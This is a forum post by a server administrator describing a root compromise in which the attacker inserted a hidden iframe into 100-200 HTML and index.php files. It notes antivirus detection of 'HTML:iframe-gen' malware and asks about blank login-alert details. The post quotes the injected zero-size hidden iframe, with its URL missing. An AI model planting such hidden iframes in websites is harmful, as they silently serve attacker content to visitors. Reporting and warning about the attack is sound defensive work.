Hacked; Warning: Count.php?o=2 Code

On 4/11 at 5:30pm, my server's root was compromised and someone had a field day on my server. Surprisingly with the level of access they had, the person very quietly ran a script (I've yet to find the file, but saw reference to it in another forum about this) that updated every single .html, .htm, and *index.php file in the homes directory. I can't even count how many files were edited -- atleast 100-200 files I've had to manually change thus far.

That said, I wanted to warn everyone about this. My google results were slim on this subject. What I find really surprising is that Avast! is the only anti-virus software to warn me of the possible malware being opened. I use either at home or at my office Avast!, BitDefender 2008, Symantec Corporate Antivirus, and McAfee corporate Antivirus. I just installed Avast! yesterday just for "peace of mind" and I'm damned glad that I did because it immediately popped up about HTML:iframe-gen malware on my websites.

I have enabled e-mail sending whenever someone logs into the root account on my server -- which I believe I received the tutorial from here in the How-To section -- and I did receive an e-mail for the person logging into the root account via SSH, but the IP address and hostname was left blank. Does anyone know why the IP and hostname would be blank? That doesn't mean they were console, does it?

Here is the HTML code that was inserted into all of my .htm, .html, and *index.php files:

<iframe src=[url] width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>